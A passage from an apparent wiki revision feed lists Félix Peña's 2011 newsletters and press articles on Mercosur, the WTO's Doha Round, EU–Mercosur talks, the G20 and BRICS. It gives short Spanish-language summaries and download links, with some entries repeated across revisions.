Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Aportes para un necesario debate sobre el futuro de la OMC===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 4 de Agosto 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-08-04-aportes-para-un-necesario-debate-sobre-futuro-omc Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2031</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=2031"/>
		<updated>2011-08-29T23:19:31Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* ARTÍCULOS Y NOTAS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL SISTEMA GATT-OMC EN UN MUNDO DISTINTO AL QUE LE DIO ORIGEN ¿Puede esperarse un impulso renovador de la Conferencia Ministerial de Ginebra?===&lt;br /&gt;
&lt;br /&gt;
Agosto 2011&lt;br /&gt;
&lt;br /&gt;
La necesidad de profundizar un debate sobre el futuro de la OMC no podría estar ausente de la Conferencia Ministerial de Ginebra en diciembre próximo. Es una ocasión sin igual para dar un impulso renovador a un sistema que tiende a mostrar algunos signos de obsolescencia, tanto en sus agendas como en sus métodos de trabajos. Hay, sin embargo, cierto escepticismo sobre sus posibles resultados. &lt;br /&gt;
&lt;br /&gt;
De una forma u otra, la Ronda Doha estará presente en esta Ministerial. Sea por la posibilidad -que ahora se percibe como remota- de avanzar algunos resultados favorables para los países menos desarrollados. O de enviar señales creíbles sobre su futuro. O por la necesidad de abordar de frente el espectro de una OMC con fuertes riesgos de perder eficacia, relevancia y, finalmente, legitimidad. &lt;br /&gt;
&lt;br /&gt;
Al menos tres preguntas parecen relevantes para el necesario debate sobre el futuro de la OMC. Ellas son: ¿cómo sería posible evitar el colapso definitivo de la Rueda Doha, aunque sea concluyéndola en una versión menos ambiciosa que la prevista originalmente? Si ello no fuera factible ¿cómo podría preservarse a la OMC del eventual impacto negativo que tal colapso tendría sobre su eficacia, credibilidad y relevancia? Y aún en caso de que la Rueda Doha fuera rescatable ¿cómo se podría concentrar energía política e imaginación técnica en el diseño de una nueva etapa de la OMC, que permita capitalizar las experiencias acumuladas, fortalecer sus funciones esenciales, e innovar en su agenda de cuestiones prioritarias, sus métodos de trabajo y sus modalidades negociadoras?&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Tanto la próxima Cumbre del G20 en Cannes como la Ministerial de la OMC en Ginebra, abren una oportunidad para que regiones organizadas asuman un protagonismo activo en la redefinición de la arquitectura del sistema comercial internacional. En ambas oportunidades, Argentina y Brasil podrían incidir con propuestas en el rescate de la Rueda Doha y en el diseño de la nueva etapa de la OMC. Lo razonable es esperar que coordinen sus posiciones y que, en lo posible, también reflejen los puntos de vista del Mercosur y de la región sudamericana.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-08-sistema-gatt-omc-en-un-mundo-distinto-de-su-origen Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL MERCOSUR EN UN MUNDO DE GRANDES ESPACIOS ECONÓMICOS: Ejes temáticos instalados por el Presidente Mujica, útiles para navegar el futuro===&lt;br /&gt;
&lt;br /&gt;
Julio 2011&lt;br /&gt;
&lt;br /&gt;
¿Podrá ser el Mercosur percibido en el futuro como un espacio económico regional que se exprese con una sola voz -al menos en cuestiones relevantes de la agenda económica internacional, incluyendo las negociaciones comerciales internacionales? ¿Podrá incluso reflejar los intereses de un espacio regional sudamericano más amplio, de concretarse la anunciada incorporación como miembros plenos de países como Bolivia, Ecuador, eventualmente Colombia, además de consumarse la aún pendiente de Venezuela?&lt;br /&gt;
&lt;br /&gt;
Son algunos de los interrogantes que se pueden formular dado el hecho que el espacio regional sudamericano reúne condiciones de una significativa dimensión económica y de una suficiente masa crítica de poder -al menos potencial-, y que dos países de esta región geográfica -Argentina y Brasil- participan hoy del G20, el que aspira a ser un núcleo institucional relevante en la construcción de una nueva arquitectura económica mundial. Pero sobre todo, dado el hecho que aquello que condujo al momento fundacional, fue precisamente la idea estratégica de crear, a través de pasos incrementales, un espacio económico común abierto a la participación de otros países sudamericanos.&lt;br /&gt;
&lt;br /&gt;
Las Cumbres Presidenciales semestrales del Mercosur, brindan una oportunidad para introducir nuevas energías y orientaciones a la construcción del espacio regional de alcance sudamericano. Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur.&lt;br /&gt;
&lt;br /&gt;
Lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas al asumir la presidencia pro-tempore en la reciente Cumbre de Asunción, permite avanzar una visión sobre algunos ejes temáticos en los que se concentraría el ejercicio de su función temporal de este semestre. En nuestra interpretación, tales ejes se refieren a la necesidad de un planteamiento estratégico hacia el futuro acorde con las nuevas realidades mundiales, a una mayor eficacia de las instituciones, y al desarrollo del concepto de &amp;quot;democracia digital&amp;quot;, quizás el salto hacia un Mercosur 2.0 con nuevas formas de participación ciudadana.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-07-mercosur-mundo-grandes-espacios-economicos Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Aportes para un necesario debate sobre el futuro de la OMC===&lt;br /&gt;
&lt;br /&gt;
Diario El Cronista, 4 de Agosto 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-08-04-aportes-para-un-necesario-debate-sobre-futuro-omc Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Las agendas de un Mercosur que procura actualizarse===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-agendas-de-un-mercosur-que-procura-actualizarse Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Impulso político e imaginación técnica===&lt;br /&gt;
&lt;br /&gt;
Diario El Argentino, 31 de Julio 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-07-31-impulso-politico-e-imaginacion-tecnica Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una oportunidad para impulsar iniciativas viables===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 21 de julio de 2011&lt;br /&gt;
&lt;br /&gt;
Renovar el impulso político, simbolizar el valor estratégico del proyecto común, y brindar el espacio para diálogos francos al más alto nivel, son aportes que se esperan del sistema de Cumbres Presidenciales del Mercosur. En cierta forma son su razón de ser.&lt;br /&gt;
&lt;br /&gt;
Un papel relevante le corresponde a quien preside el país que ejerce la presidencia pro-tempore semestral del Mercosur. En este segundo semestre del año, es al Presidente del Uruguay a quien le toca entonces la oportunidad de plantear iniciativas que aspiren a lograr el consenso de los otros socios y luego, a penetrar en la realidad.&lt;br /&gt;
&lt;br /&gt;
Pueden ser iniciativas vinculadas a la agenda prioritaria que en este momento tiene el Mercosur (como son, entre otras, las del perfeccionamiento de la unión aduanera, el tratamiento de las asimetrías, la integración productiva, las compras públicas y las negociaciones comerciales externas). O pueden ser iniciativas dirigidas a introducir enfoques e ideas orientados a renovar el proceso de integración, adaptándolo a nuevas realidades globales y regionales.&lt;br /&gt;
En la reciente Cumbre de Asunción, lo que trascendió de las reflexiones del Presidente José Mujica ante sus colegas, permite sugerir una visión sobre algunas cuestiones en las que se concentraría el ejercicio de su función temporal de este semestre.&lt;br /&gt;
&lt;br /&gt;
En nuestra interpretación de lo que ha señalizado, es posible destacar tres ejes temáticos que tienen una relevancia especial. No son los únicos, pero sí los que parecen tener una trascendencia mayor.&lt;br /&gt;
&lt;br /&gt;
El primero se refiere a la necesidad de interpretar “la época que nos toca vivir y hacia donde vamos”. Implica un diagnóstico compartido sobre oportunidades y desafíos que plantean a nuestros países algunas tendencias que se están poniendo en evidencia en el escenario internacional. Energía y alimentos, creatividad e innovación, y masa crítica de consumo y producción, son algunos conceptos centrales que parecen nutrir una agenda estratégica conjunta de los países del Mercosur, en un mundo con fuertes desplazamientos del poder económico relativo y de la capacidad para competir a escala global.&lt;br /&gt;
&lt;br /&gt;
El segundo es el institucional. Tiene múltiples desdoblamientos posibles, entre otros los orientados a dotar a los métodos de trabajo de una mayor racionalidad y eficacia. Pero un aspecto prioritario para la inserción en el entorno global, sería poder avanzar en la capacidad de los socios para tener una sola voz en cuestiones relevantes de la agenda externa del Mercosur: ¿quién y por qué puede decir que habla por todos los socios?&lt;br /&gt;
&lt;br /&gt;
Y el tercer eje, quizás el más provocativo, se refiere a la idea de avanzar en modalidades de “democracia digital”. Propuestas orientadas a un Mercosur 2.0, con fuerte énfasis en la transparencia y en el acceso efectivo a toda la información relevante para los ciudadanos, pueden contribuir a acrecentar la credibilidad y legitimidad social del proceso de integración.&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
